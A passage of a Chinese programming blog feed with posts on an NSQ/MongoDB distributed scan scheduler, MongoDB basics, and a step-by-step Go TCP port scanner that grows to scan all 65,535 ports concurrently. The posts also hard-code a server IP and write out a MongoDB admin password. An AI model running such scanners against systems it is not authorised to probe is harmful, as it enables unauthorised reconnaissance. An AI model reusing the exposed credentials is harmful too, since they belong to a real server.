"121.5.73.12:4150" // 调用封装好的函数 初始化生产者 err := initProducer(nsqAddress) if err != nil { fmt.Printf("init producer failed, err:%v\n", err) return } reader := bufio.NewReader(os.Stdin) // 从标准输入读取 for { data, err := reader.ReadString('\n') if err != nil { fmt.Printf("read string from stdin failed, err:%v\n", err) continue } data = strings.TrimSpace(data) if strings.ToUpper(data) == "Q" { // 输入Q退出 break } // 使用Publish 向 'topic_demo' publish 数据 err = producer.Publish("test", []byte(data)) if err != nil { fmt.Printf("publish msg to nsq failed, err:%v\n", err) continue } }}</code></pre><blockquote><p>消息接收测试代码</p></blockquote><pre><code class="go">// nsq_consumer/main.gopackage mainimport ( "fmt" "os" "os/signal" "syscall" "time" "github.com/nsqio/go-nsq")// NSQ Consumer Demo// MyHandler 是一个消费者类型type MyHandler struct { Title string}// HandleMessage 是需要实现的处理消息的方法 *必须要实现func (m *MyHandler) HandleMessage(msg *nsq.Message) (err error) { fmt.Printf("%s recv from %v, msg:%v\n", m.Title, msg.NSQDAddress, string(msg.Body)) time.Sleep(time.Duration(2)*time.Second) return}// 初始化消费者func initConsumer(topic string, channel string, address string) (err error) { config := nsq.NewConfig() // 重连时间 config.LookupdPollInterval = 15 * time.Second // 新建消费者 c, err := nsq.NewConsumer(topic, channel, config) if err != nil { fmt.Printf("create consumer failed, err:%v\n", err) return } consumer := &MyHandler{ Title: "qwrdxer", } // 屏蔽系统日志 // c.SetLogger(nil,0) // 添加消费者 c.AddHandler(consumer) // if err := c.ConnectToNSQD(address); err != nil { // 直接连NSQD if err := c.ConnectToNSQLookupd(address); err != nil { // 通过lookupd查询 return err } return nil}func main() { err := initConsumer("test", "tttt", "121.5.73.12:4161") if err != nil { fmt.Printf("init consumer failed, err:%v\n", err) return } c := make(chan os.Signal) // 定义一个信号的通道 signal.Notify(c, syscall.SIGINT) // 转发键盘中断信号到c <-c // 阻塞}</code></pre><h3 id="调度器代码实现"><a href="#调度器代码实现" class="headerlink" title="调度器代码实现"></a>调度器代码实现</h3><ol><li>初始化nsq 、Mongodb连接</li><li>从mongdb中提取指定数量消息</li><li>for循环,每向消息队列中写入一条消息,将该消息对应的mongodb文档设置为排队中</li><li>sleep10秒</li></ol><pre><code class="go">package mainimport ( "fmt" "github.com/nsqio/go-nsq" "gopkg.in/mgo.v2" "gopkg.in/mgo.v2/bson" mongodb "qwrdxer.com/NODE/MONGODB" "time")type IP_result struct { ID bson.ObjectId `bson:"_id,omitempty"` //类型是bson.ObjectId IPScanStatus int `bson:"ip_scan_status"` IPHost string `bson:"ip_host"` IPOpenport []GoIPOpenport `bson:"ip_openport"` BindDomain []string `bson:"binddomain"`}type GoIPOpenport struct { Openport int `bson:"openport"` Protocol string `bson:"protocol"`}// NSQ Producer Demotype Monitor struct { producer *nsq.Producer mgoconn *mgo.Session querynum int //每次查询的任务数 waitTime int //一次调度后等待的时间}// 初始化生产者func (m *Monitor)Init(ipport string) (err error) { // 创建配置信息 config := nsq.NewConfig() // 初始化生产者 str传入ip:端口 m.producer, err = nsq.NewProducer(ipport, config) if err != nil { fmt.Printf("create producer failed, err:%v\n", err) return err } // 测试生产者是否有效 err = m.producer.Ping() if err != nil{ fmt.Printf("No ping,err:%v\n",err) m.producer.Stop() //关闭生产者 } return nil}func (m *Monitor)Start(conn mongodb.MongoPool) { for{ m.mgoconn=conn.GetSession()//建立mongodb连接 c :=m.mgoconn.DB("myscan").C("task1_ip") iter:=c.Find(bson.M{"ip_scan_status": 0}).Limit(2).Iter() var v = IP_result{} for iter.Next(&v) { //迭代子任务 var data="ipscan;"+"task1_ip;"+v.IPHost fmt.Println("adding:"+ data) err := m.producer.Publish("test", []byte(data))//写入消息队列 c.Update(bson.M{"ip_host": v.IPHost}, bson.M{"$set": bson.M{"ip_scan_status": 2}})//设置状态为排队中 if err != nil { fmt.Printf("publish msg to nsq failed, err:%v\n", err) continue } } m.mgoconn.Close() //关闭连接 fmt.Println("睡眠十秒") time.Sleep(time.Duration(10)*time.Second) }}func main() { //建立mongdb连接池 var conn mongodb.MongoPool conn.Init() defer conn.CloseSession() var Mon =Monitor{} Mon.Init("121.5.73.12:4150") Mon.Start(conn)}</code></pre><h3 id="客户端实现"><a href="#客户端实现" class="headerlink" title="客户端实现"></a>客户端实现</h3><p>操控MongoDB的框架由mgo切换为MongDB-driver</p><pre><code class="go">package mainimport ( "context" "fmt" "go.mongodb.org/mongo-driver/bson" "go.mongodb.org/mongo-driver/bson/primitive" "go.mongodb.org/mongo-driver/mongo" "go.mongodb.org/mongo-driver/mongo/options" "log")type IP_result struct { Id primitive.ObjectID `bson:"_id,omitempty"` IPScanStatus int `bson:"ip_scan_status"` IPHost string `bson:"ip_host"` IPOpenport []GoIPOpenport `bson:"ip_openport"`}type GoIPOpenport struct { Openport int `bson:"openport"` Protocol string `bson:"protocol"`}func main() { // Rest of the code will go here // Set client options 设置连接参数 clientOptions := options.Client().ApplyURI("mongodb://admin:[email protected]:27017/?authSource=admin") // Connect to MongoDB 连接数据库 client, err := mongo.Connect(context.TODO(), clientOptions) if err != nil { log.Fatal(err) } // Check the connection 测试连接 err = client.Ping(context.TODO(), nil) if err != nil { log.Fatal(err) } fmt.Println("Connected to MongoDB!") var result =IP_result{} collection := client.Database("myscan").Collection("task1_ip") tmp:=collection.FindOne(context.TODO(), bson.D{{"ip_scan_status", 3}}) tmp.Decode(&result) if err != nil { log.Fatal(err) }}</code></pre><h3 id="分布式架构设计"><a href="#分布式架构设计" class="headerlink" title="分布式架构设计"></a>分布式架构设计</h3><blockquote><p>扫描节点</p></blockquote><p>其主函数逻辑如下</p><pre><code class="go">func main() { task := 0 taskLimit := 5 taskList := make([]PortScanTask, 0) 消息队列绑定 for { if task<taskLimit{ 从消息队列中获取子任务 根据任务类别创建一个任务 将该任务加入到taskList中 go run 运行该任务 } 遍历taskList,若有任务已完成,则将其从任务列表中删除 sleep(10) }}</code></pre><p>任务函数需要实现的接口如下</p><pre><code class="go">interface task{ init(); 将参数初始化 run() ; 执行任务 getprocess();获取当前任务进度 dataprocess(); 将运行结果改为JSON格式 upload(); 上传结果到MongoDB中,修改部分参数,如running-1 runned+1 实现接口的任务中还要定义一个标志位,当任务结束后方便主函数将其从任务列表中删除}</code></pre><blockquote><p>调度节点</p></blockquote><p>主函数逻辑如下</p><pre><code class="go">func main() { for { 获取消息队列中可用的 sleep(10) }}</code></pre><blockquote><p>客户端</p></blockquote><p><em><!-- more --></em> </p><blockquote><p>参考文章</p><p>Go执行系统命令并处理</p><p><a href="https://wenku.baidu.com/view/97c2e105de36a32d7375a417866fb84ae45cc3f0.html">https://wenku.baidu.com/view/97c2e105de36a32d7375a417866fb84ae45cc3f0.html</a></p></blockquote>]]></content>
<categories>
<category> 写点好玩的 </category>
</categories>
</entry>
<entry>
<title>mongodb学习</title>
<link href="/2022/04/14/%E6%95%B0%E6%8D%AE%E5%BA%93/mongodb%E5%AD%A6%E4%B9%A0/"/>
<url>/2022/04/14/%E6%95%B0%E6%8D%AE%E5%BA%93/mongodb%E5%AD%A6%E4%B9%A0/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="安装MongoDB"><a href="#安装MongoDB" class="headerlink" title="安装MongoDB"></a>安装MongoDB</h2><h3 id="docker-安装"><a href="#docker-安装" class="headerlink" title="docker 安装"></a>docker 安装</h3><p>启动docker –auth表示需要授权才能连接</p><pre><code class="docker">docker run -itd --name mongo -p 27017:27017 mongo --auth</code></pre><p>添加密码</p><pre><code class="shell">$ docker exec -it mongo mongo admin# 创建一个名为 admin,密码为 123456 的用户。> db.createUser({ user:'admin',pwd:'qwrdxer',roles:[ { role:'userAdminAnyDatabase', db: 'admin'},"readWriteAnyDatabase"]});# 尝试使用上面创建的用户信息进行连接。> db.auth('admin', 'qwrdxer')</code></pre><h2 id="MongDB基本概念"><a href="#MongDB基本概念" class="headerlink" title="MongDB基本概念"></a>MongDB基本概念</h2><table><thead><tr><th align="left">SQL术语/概念</th><th align="left">MongoDB术语/概念</th><th align="left">解释/说明</th></tr></thead><tbody><tr><td align="left">database</td><td align="left">database</td><td align="left">数据库</td></tr><tr><td align="left">table</td><td align="left">collection</td><td align="left">数据库表/集合</td></tr><tr><td align="left">row</td><td align="left">document</td><td align="left">数据记录行/文档</td></tr><tr><td align="left">column</td><td align="left">field</td><td align="left">数据字段/域</td></tr><tr><td align="left">index</td><td align="left">index</td><td align="left">索引</td></tr><tr><td align="left">table joins</td><td align="left"></td><td align="left">表连接,MongoDB不支持</td></tr><tr><td align="left">primary key</td><td align="left">primary key</td><td align="left">主键,MongoDB自动将_id字段设置为主键</td></tr></tbody></table><h3 id="数据库"><a href="#数据库" class="headerlink" title="数据库"></a>数据库</h3><p>一个mongodb中可以建立多个数据库。</p><p>MongoDB的默认数据库为”db”,该数据库存储在data目录中。</p><p>MongoDB的单个实例可以容纳多个独立的数据库,每一个都有自己的集合和权限,不同的数据库也放置在不同的文件中。</p><p>有一些数据库名是保留的,可以直接访问这些有特殊作用的数据库。</p><ul><li><strong>admin</strong>: 从权限的角度来看,这是”root”数据库。要是将一个用户添加到这个数据库,这个用户自动继承所有数据库的权限。一些特定的服务器端命令也只能从这个数据库运行,比如列出所有的数据库或者关闭服务器。</li><li><strong>local:</strong> 这个数据永远不会被复制,可以用来存储限于本地单台服务器的任意集合</li><li><strong>config</strong>: 当Mongo用于分片设置时,config数据库在内部使用,用于保存分片的相关信息。</li></ul><p><em><span id="more"></span></em> </p><h3 id="文档"><a href="#文档" class="headerlink" title="文档"></a>文档</h3><p>文档是一组键值(key-value)对(即 BSON)。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。</p><ol><li>文档中的键/值对是有序的。</li><li>文档中的值不仅可以是在双引号里面的字符串,还可以是其他几种数据类型(甚至可以是整个嵌入的文档)。</li><li>MongoDB区分类型和大小写。</li><li>MongoDB的文档不能有重复的键。</li><li>文档的键是字符串。除了少数例外情况,键可以使用任意UTF-8字符。</li></ol><h3 id="集合"><a href="#集合" class="headerlink" title="集合"></a>集合</h3><p>集合就是 MongoDB 文档组,类似于 RDBMS (关系数据库管理系统:Relational Database Management System)中的表格。</p><p>集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据,但通常情况下我们插入集合的数据都会有一定的关联性。</p><p>比如,我们可以将以下不同数据结构的文档插入到集合中:</p><pre><code>{"site":"www.baidu.com"}{"site":"www.google.com","name":"Google"}{"site":"www.runoob.com","name":"菜鸟教程","num":5}</code></pre><p>当第一个文档插入时,集合就会被创建。</p><h3 id="MongoDB-数据类型"><a href="#MongoDB-数据类型" class="headerlink" title="MongoDB 数据类型"></a>MongoDB 数据类型</h3><p>下表为MongoDB中常用的几种数据类型。</p><table><thead><tr><th align="left">数据类型</th><th align="left">描述</th></tr></thead><tbody><tr><td align="left">String</td><td align="left">字符串。存储数据常用的数据类型。在 MongoDB 中,UTF-8 编码的字符串才是合法的。</td></tr><tr><td align="left">Integer</td><td align="left">整型数值。用于存储数值。根据你所采用的服务器,可分为 32 位或 64 位。</td></tr><tr><td align="left">Boolean</td><td align="left">布尔值。用于存储布尔值(真/假)。</td></tr><tr><td align="left">Double</td><td align="left">双精度浮点值。用于存储浮点值。</td></tr><tr><td align="left">Min/Max keys</td><td align="left">将一个值与 BSON(二进制的 JSON)元素的最低值和最高值相对比。</td></tr><tr><td align="left">Array</td><td align="left">用于将数组或列表或多个值存储为一个键。</td></tr><tr><td align="left">Timestamp</td><td align="left">时间戳。记录文档修改或添加的具体时间。</td></tr><tr><td align="left">Object</td><td align="left">用于内嵌文档。</td></tr><tr><td align="left">Null</td><td align="left">用于创建空值。</td></tr><tr><td align="left">Symbol</td><td align="left">符号。该数据类型基本上等同于字符串类型,但不同的是,它一般用于采用特殊符号类型的语言。</td></tr><tr><td align="left">Date</td><td align="left">日期时间。用 UNIX 时间格式来存储当前日期或时间。你可以指定自己的日期时间:创建 Date 对象,传入年月日信息。</td></tr><tr><td align="left">Object ID</td><td align="left">对象 ID。用于创建文档的 ID。</td></tr><tr><td align="left">Binary Data</td><td align="left">二进制数据。用于存储二进制数据。</td></tr><tr><td align="left">Code</td><td align="left">代码类型。用于在文档中存储 JavaScript 代码。</td></tr><tr><td align="left">Regular expression</td><td align="left">正则表达式类型。用于存储正则表达式。</td></tr></tbody></table><h2 id="操控MongoDB"><a href="#操控MongoDB" class="headerlink" title="操控MongoDB"></a>操控MongoDB</h2><h3 id="基本操作"><a href="#基本操作" class="headerlink" title="基本操作"></a>基本操作</h3><blockquote><p>数据库操作</p></blockquote><pre><code class="mysql">show dbs 查看存在的数据库db 查看当前数据库use xxx 切换到指定数据库 ,同时若数据库不存在也会创建一个数据库db.dropDatabase() 删除当前数据库</code></pre><blockquote><p>集合操作</p></blockquote><pre><code class="mysql">db.createCollection(name, options)参数说明:- name: 要创建的集合名称- options: 可选参数, 指定有关内存大小及索引的选项db.collection.drop("target")删除指定的集合show collections 、show tables 已有集合</code></pre><hr><blockquote><p> 插入文档</p></blockquote><p>db.collection.insertOne() 用于向集合插入一个新文档,语法格式如下:</p><pre><code>db.collection.insertOne( <document>, { writeConcern: <document> })</code></pre><p>db.collection.insertMany() 用于向集合插入一个多个文档,语法格式如下:</p><pre><code>db.collection.insertMany( [ <document 1> , <document 2>, ... ], { writeConcern: <document>, ordered: <boolean> })document:要写入的文档。writeConcern:写入策略,默认为 1,即要求确认写操作,0 是不要求。ordered:指定是否按顺序写入,默认 true,按顺序写入。</code></pre><hr><blockquote><p> 查看文档</p></blockquote><pre><code>db.collection.find(query, projection)</code></pre><ul><li><strong>query</strong> :可选,使用查询操作符指定查询条件</li><li><strong>projection</strong> :可选,使用投影操作符指定返回的键。查询时返回文档中所有键值, 只需省略该参数即可(默认省略)</li></ul><p>通过 limit 函数限制查询命令返回的文档数量,命令格式如下:</p><p><strong>db.目标集合.find().limit( 数量 )</strong></p><p>即查询返回指定“数量”的文档数据。</p><hr><blockquote><p> 更新文档</p></blockquote><p>update() 方法用于更新已存在的文档。语法格式如下:</p><pre><code>db.collection.update( <query>, <update>, { upsert: <boolean>, multi: <boolean>, writeConcern: <document> }</code></pre><p><strong>参数说明:</strong></p><ul><li><strong>query</strong> : update的查询条件,类似sql update查询内where后面的。</li><li><strong>update</strong> : update的对象和一些更新的操作符(如$,$inc…)等,也可以理解为sql update查询内set后面的</li><li><strong>upsert</strong> : 可选,这个参数的意思是,如果不存在update的记录,是否插入objNew,true为插入,默认是false,不插入。</li><li><strong>multi</strong> : 可选,mongodb 默认是false,只更新找到的第一条记录,如果这个参数为true,就把按条件查出来多条记录全部更新。</li><li><strong>writeConcern</strong> :可选,抛出异常的级别。</li></ul><p>操作符: <a href="https://wenku.baidu.com/view/ac7a7f80f624ccbff121dd36a32d7375a417c6d8.html">https://wenku.baidu.com/view/ac7a7f80f624ccbff121dd36a32d7375a417c6d8.html</a></p><blockquote><p>删除文档</p></blockquote><p>remove() 方法的基本语法格式如下所示:</p><pre><code>db.collection.remove( <query>, { justOne: <boolean>, writeConcern: <document> })</code></pre><p><strong>参数说明:</strong></p><ul><li><strong>query</strong> :(可选)删除的文档的条件。</li><li><strong>justOne</strong> : (可选)如果设为 true 或 1,则只删除一个文档,如果不设置该参数,或使用默认值 false,则删除所有匹配条件的文档。</li><li><strong>writeConcern</strong> :(可选)抛出异常的级别。</li></ul><blockquote><p>通过URI连接MongoDB</p></blockquote><pre><code class="mysql">mongodb://[username:password@]host1[:port1][,host2[:port2],...[,hostN[:portN]]][/[database][?options]]</code></pre><ul><li><strong>mongodb://</strong> 这是固定的格式,必须要指定。</li><li><strong>username:password@</strong> 可选项,如果设置,在连接数据库服务器之后,驱动都会尝试登录这个数据库</li><li><strong>host1</strong> 必须的指定至少一个host, host1 是这个URI唯一要填写的。它指定了要连接服务器的地址。如果要连接复制集,请指定多个主机地址。</li><li><strong>portX</strong> 可选的指定端口,如果不填,默认为27017</li><li><strong>/database</strong> 如果指定username:password@,连接并验证登录指定数据库。若不指定,默认打开 test 数据库。</li><li><strong>?options</strong> 是连接选项。如果不使用/database,则前面需要加上/。所有连接选项都是键值对name=value,键值对之间通过&或;(分号)隔开</li></ul><h3 id="添加文档"><a href="#添加文档" class="headerlink" title="添加文档"></a>添加文档</h3><pre><code class="mysql">db.tasklist.insert({ taskUID: "task2022-4-14-1", task_domain: { domain_total: 3, domain_list: [{ domain: "www.baidu.com", status: 1 }, { domain: "www.4399.com", status: 2 }, { domain: "www.kkk.com" }] }, task_ip: { ip_total: 1, ip_list: [{ ip: "123.123.123.123", port_info: [{ port: 80, finger: "web" }, { port: 8080, finger: "web" }] }, { ip: "123.123.123.123", port_info: [{ port: 8081, finger: "web" }] }] }})</code></pre><h3 id="文档中追加数据"><a href="#文档中追加数据" class="headerlink" title="文档中追加数据"></a>文档中追加数据</h3><p>追加一条IP</p><pre><code class="mysql">db.tasklist.update({taskUID: "task2022-4-14-1"},{$push:{task_ip.ip_list}})</code></pre><h3 id="修改文档中的值"><a href="#修改文档中的值" class="headerlink" title="修改文档中的值"></a>修改文档中的值</h3><h3 id="对文档进行条件查询"><a href="#对文档进行条件查询" class="headerlink" title="对文档进行条件查询"></a>对文档进行条件查询</h3><p>查询未扫描的域名</p><pre><code class="mysql">db.tasklist.aggregate([ {"$match":{ "taskUID" : "task2022-4-14-1" }}, {"$unwind":"$task_domain"}, {"$match":{ "task_domain.domain_list.status":1 }}, {"$group":{ "_id":"$_id", "task_domain":{"$push":"$task_domain"} }}])</code></pre><pre><code class="mysql">db.tasklist.find({"task_domain.domain_list.status":1},{'task_domain.domain_list.status':1})</code></pre><h2 id="Go语言操控MongoDB"><a href="#Go语言操控MongoDB" class="headerlink" title="Go语言操控MongoDB"></a>Go语言操控MongoDB</h2><p><em><!-- more --></em> </p><blockquote><p>参考文章</p><p>MongoDB中如何为集合的数组类型字段添加一个值</p><p><a href="https://jingyan.baidu.com/article/4b07be3c6b183809b280f34f.html">https://jingyan.baidu.com/article/4b07be3c6b183809b280f34f.html</a></p></blockquote>]]></content>
<categories>
<category> 数据库 </category>
</categories>
</entry>
<entry>
<title>Go编写一个扫描器</title>
<link href="/2022/04/10/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/Go%E7%BC%96%E5%86%99%E4%B8%80%E4%B8%AA%E7%AB%AF%E5%8F%A3%E6%89%AB%E6%8F%8F%E5%99%A8/"/>
<url>/2022/04/10/%E5%86%99%E7%82%B9%E5%A5%BD%E7%8E%A9%E7%9A%84/Go%E7%BC%96%E5%86%99%E4%B8%80%E4%B8%AA%E7%AB%AF%E5%8F%A3%E6%89%AB%E6%8F%8F%E5%99%A8/</url>
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="基础学习"><a href="#基础学习" class="headerlink" title="基础学习"></a>基础学习</h2><h3 id="端口连接建立"><a href="#端口连接建立" class="headerlink" title="端口连接建立"></a>端口连接建立</h3><h3 id="版本1-简单的扫描"><a href="#版本1-简单的扫描" class="headerlink" title="版本1 简单的扫描"></a>版本1 简单的扫描</h3><pre><code class="go">// panic_recover.gopackage mainimport ( "fmt" "net")func Scan(IP string) []int { var target_tmplet = "%s:%d" var index_open = 0 open_port := make([]int, 5, 5) scan_port := []int{22, 80, 6379} for _, port := range scan_port { address := fmt.Sprintf(target_tmplet, IP, port) conn, err := net.Dial("tcp", address) if err != nil { fmt.Println(err) continue } conn.Close() fmt.Printf("%d port open!\n", port) open_port[index_open] = port index_open++ } return open_port}func main() { Scan("scanme.nmap.org")}</code></pre><p><em><span id="more"></span></em> </p><h3 id="版本2,结构体封装"><a href="#版本2,结构体封装" class="headerlink" title="版本2,结构体封装"></a>版本2,结构体封装</h3><p>将代码进行封装,方便操作及功能拓展</p><pre><code>// panic_recover.gopackage mainimport ( "fmt" "net")type PortScanTask struct { target string //扫描目标, 可以是IP 或 域名 scanPortRange []string //存储扫描的范围,可以是具体的端口(如80,8080,9090),也可以是某个范围(如1-100) openPort []string // 用于存储开放端口 openPortCount int // 记录开放端口数量,在存储开放端口时,作为下标存储}/* 用于初始化端口扫描任务,主要是对用户输入的端口范围进行处理 如用户输入为 80,8080,3306,1-100 我们首先需要按照逗号进行切分,然后检查这些输入是否符合规范即可*/func (p *PortScanTask) init(target string, targetRanget string) { p.openPortCount = 0 p.target = target p.scanPortRange = []string{"22", "80", "6379", "3306"} p.openPort = make([]string, 5, 5)}func (p *PortScanTask) Scan() []string { var target_tmplet = "%s:%s" for _, port := range p.scanPortRange { address := fmt.Sprintf(target_tmplet, p.target, port) conn, err := net.Dial("tcp", address) if err != nil { fmt.Println(err) continue } conn.Close() fmt.Printf("%s port open!\n", port) p.openPort[p.openPortCount] = port p.openPortCount++ } return p.openPort}func main() { var task1 PortScanTask task1.init("121.5.73.12", "test") task1.Scan()}</code></pre><p>暂时还未实现输入端口切割功能!, 先把多线程搞上</p><h3 id="版本3-多线程"><a href="#版本3-多线程" class="headerlink" title="版本3: 多线程"></a>版本3: 多线程</h3><pre><code class="go">// panic_recover.gopackage mainimport ( "fmt" "net" "sort")type PortScanTask struct { target string //扫描目标, 可以是IP 或 域名 target_tmplet string // 连接的模板 值为 %s:%s 在 init函数中进行赋值 scanPortRange []string //存储扫描的范围,可以是具体的端口(如80,8080,9090),也可以是某个范围(如1-100) openPort []string // 用于存储开放端口 openPortCount int // 记录开放端口数量,在存储开放端口时,作为下标存储 threads int //多线程数量}/* 用于初始化端口扫描任务,主要是对用户输入的端口范围进行处理 如用户输入为 80,8080,3306,1-100 我们首先需要按照逗号进行切分,然后检查这些输入是否符合规范即可*/func (p *PortScanTask) init(target string, targetRanget string) { p.openPortCount = 0 p.target = target p.target_tmplet = "%s:%s" p.scanPortRange = []string{"22", "80", "6379", "3306", "111", "3333", "53", "7777"} p.openPort = make([]string, 2) p.threads = 5}/* 我们创建一个worker 方法,他从ports通道中取出端口进行扫描,然后将结果返回给results通道*/func (p *PortScanTask) PortScanWorker(ports, results chan string) { for port := range ports { address := fmt.Sprintf(p.target_tmplet, p.target, port) conn, err := net.Dial("tcp", address) if err != nil { //如果端口没有开放,则向通道中写入0 results <- "0" continue } conn.Close() results <- port }}func (p *PortScanTask) Scan() []string { portchan := make(chan string, p.threads) resultchan := make(chan string) for i := 0; i < p.threads; i++ { //创建 5个worker go p.PortScanWorker(portchan, resultchan) } go func() { //启动一个线程将端口写入通道中 for _, port := range p.scanPortRange { portchan <- port } }() for i := 0; i < len(p.scanPortRange); i++ { port := <-resultchan if port != "0" { p.openPort = append(p.openPort, port) } } close(portchan) close(resultchan) sort.Strings(p.openPort) return p.openPort}func main() { var task1 PortScanTask task1.init("121.5.73.12", "111,22,3306,53,80") t := task1.Scan() fmt.Println(t)}</code></pre><h3 id="计算端口数量"><a href="#计算端口数量" class="headerlink" title="计算端口数量"></a>计算端口数量</h3><pre><code class="go">// panic_recover.gopackage mainimport ( "fmt" "net" "sort" "strconv" "strings")type PortScanTask struct { target string //扫描目标, 可以是IP 或 域名 target_tmplet string // 连接的模板 值为 %s:%s 在 init函数中进行赋值 scanPortRange []int //存储扫描的范围,可以是具体的端口(如80,8080,9090),也可以是某个范围(如1-100) openPort []int // 用于存储开放端口 openPortCount int // 记录开放端口数量,在存储开放端口时,作为下标存储 threads int //多线程数量}/* 用于初始化端口扫描任务,主要是对用户输入的端口范围进行处理 如用户输入为 80,8080,3306,1-100 我们首先需要按照逗号进行切分,然后检查这些输入是否符合规范即可*/func (p *PortScanTask) init(target string, targetRanget string) { p.openPortCount = 0 p.target = target p.target_tmplet = "%s:%d" p.scanPortRange = make([]int, 0) p.openPort = make([]int, 0) p.threads = 100 p.VertifyParm(targetRanget)}/* 我们创建一个worker 方法,他从ports通道中取出端口进行扫描,然后将结果返回给results通道*/func (p *PortScanTask) PortScanWorker(ports chan int, results chan int) { for port := range ports { address := fmt.Sprintf(p.target_tmplet, p.target, port) conn, err := net.Dial("tcp", address) if err != nil { //如果端口没有开放,则向通道中写入0 results <- 0 //fmt.Printf("%d not open!\n", port) continue } conn.Close() fmt.Printf("%d open!\n", port) results <- port }}func (p *PortScanTask) Scan() []int { portchan := make(chan int, p.threads) resultchan := make(chan int) for i := 0; i < p.threads; i++ { //创建 5个worker go p.PortScanWorker(portchan, resultchan) } go func() { //启动一个线程将端口写入通道中 for _, port := range p.scanPortRange { portchan <- port } }() for i := 0; i < len(p.scanPortRange); i++ { port := <-resultchan if port != 0 { p.openPort = append(p.openPort, port) } } close(portchan) close(resultchan) sort.Ints(p.openPort) return p.openPort}//验证端口输入的参数是否符合规范, 一串合规的的输入如下: 22,80,8080,1000-3999func (p *PortScanTask) VertifyParm(input string) { sliceParm := strings.Split(input, ",") for i := range sliceParm { if (strings.Index(sliceParm[i], "-")) == -1 { //如果不是1-100这种范围的类型 tmpInt, err := strconv.Atoi(sliceParm[i]) //转换成数字 if err != nil { fmt.Printf("%s参数不正确!", sliceParm[i]) } if tmpInt <= 0 || tmpInt > 65535 { fmt.Printf("%s参数不正确!", sliceParm[i]) } p.scanPortRange = append(p.scanPortRange, tmpInt) fmt.Println(tmpInt) } else { //如果是1-100这种范围的类型 subsliceParm := strings.Split(sliceParm[i], "-") if len(subsliceParm) != 2 { fmt.Printf("%s参数不正确!", sliceParm[i]) } else { if subsliceParm[0] == "" || subsliceParm[1] == "" { fmt.Printf("%s参数不正确!", sliceParm[i]) } else { //到此为止才能判断是正确的num1-num2类型 tmpInt1, err1 := strconv.Atoi(subsliceParm[0]) tmpInt2, err2 := strconv.Atoi(subsliceParm[1]) if err1 != nil || err2 != nil { fmt.Printf("参数不正确") } if tmpInt2-tmpInt1 <= 0 || tmpInt2 > 65535 || tmpInt1 > 65535 { fmt.Printf("参数不正确") } for i := tmpInt1; i <= tmpInt2; i++ { p.scanPortRange = append(p.scanPortRange, i) } } } } }}func main() { var task1 PortScanTask task1.init("121.5.73.12", "1-65535") t := task1.Scan() fmt.Println(t)}</code></pre><h3 id="加入参数解析"><a href="#加入参数解析" class="headerlink" title="加入参数解析"></a>加入参数解析</h3><pre><code class="go">// panic_recover.gopackage mainimport ( "flag" "fmt" "net" "sort" "strconv" "strings" "time")type PortScanTask struct { target string //扫描目标, 可以是IP 或 域名 target_tmplet string // 连接的模板 值为 %s:%s 在 init函数中进行赋值 scanPortRange []int //存储扫描的范围,可以是具体的端口(如80,8080,9090),也可以是某个范围(如1-100) openPort []int // 用于存储开放端口 openPortCount int // 记录开放端口数量,在存储开放端口时,作为下标存储 Workers int //多线程数量}/* 用于初始化端口扫描任务,主要是对用户输入的端口范围进行处理 如用户输入为 80,8080,3306,1-100 我们首先需要按照逗号进行切分,然后检查这些输入是否符合规范即可*/func (p *PortScanTask) init(target string, targetRanget string) { p.openPortCount = 0 p.target = target p.target_tmplet = "%s:%d" p.scanPortRange = make([]int, 0) p.openPort = make([]int, 0) p.Workers = 3000 p.VertifyParm(targetRanget)}/* 我们创建一个worker 方法,他从ports通道中取出端口进行扫描,然后将结果返回给results通道*/func (p *PortScanTask) PortScanWorker(ports chan int, results chan int) { for port := range ports { address := fmt.Sprintf(p.target_tmplet, p.target, port) conn, err := net.Dial("tcp", address) if err != nil { //如果端口没有开放,则向通道中写入0 results <- 0 //fmt.Printf("%d not open!\n", port) continue } conn.Close() fmt.Printf("%d open!\n", port) results <- port }}func (p *PortScanTask) Scan() []int { portchan := make(chan int, 1000) resultchan := make(chan int) for i := 0; i < p.Workers; i++ { //创建 5个worker go p.PortScanWorker(portchan, resultchan) } go func() { //启动一个线程将端口写入通道中 for _, port := range p.scanPortRange { portchan <- port } }() for i := 0; i < len(p.scanPortRange); i++ { port := <-resultchan if port != 0 { p.openPort = append(p.openPort, port) } } close(portchan) close(resultchan) sort.Ints(p.openPort) return p.openPort}//验证端口输入的参数是否符合规范, 一串合规的的输入如下: 22,80,8080,1000-3999func (p *PortScanTask) VertifyParm(input string) { sliceParm := strings.Split(input, ",") for i := range sliceParm { if (strings.Index(sliceParm[i], "-")) == -1 { //如果不是1-100这种范围的类型 tmpInt, err := strconv.Atoi(sliceParm[i]) //转换成数字 if err != nil { fmt.Printf("%s参数不正确!", sliceParm[i]) } if tmpInt <= 0 || tmpInt > 65535 { fmt.Printf("%s参数不正确!", sliceParm[i]) } p.scanPortRange = append(p.scanPortRange, tmpInt) } else { //如果是1-100这种范围的类型 subsliceParm := strings.Split(sliceParm[i], "-") if len(subsliceParm) != 2 { fmt.Printf("%s参数不正确!", sliceParm[i]) } else { if subsliceParm[0] == "" || subsliceParm[1] == "" { fmt.Printf("%s参数不正确!", sliceParm[i]) } else { //到此为止才能判断是正确的num1-num2类型 tmpInt1, err1 := strconv.Atoi(subsliceParm[0]) tmpInt2, err2 := strconv.Atoi(subsliceParm[1]) if err1 != nil || err2 != nil { fmt.Printf("参数不正确") } if tmpInt2-tmpInt1 <= 0 || tmpInt2 > 65535 || tmpInt1 > 65535 { fmt.Printf("参数不正确") } for i := tmpInt1; i <= tmpInt2; i++ { p.scanPortRange = append(p.scanPortRange, i) } } } } }}func main() { IPString := flag.String("IP", "", "要扫描的目标IP") PORTString := flag.String("PORT", "", "要扫描的端口") flag.Parse() start := time.Now() // 获取当前时间 var task1 PortScanTask task1.init(*IPString, *PORTString) task1.Scan() cost := time.Since(start) fmt.Println("cost:", cost)}</code></pre><p><em><!-- more --></em> 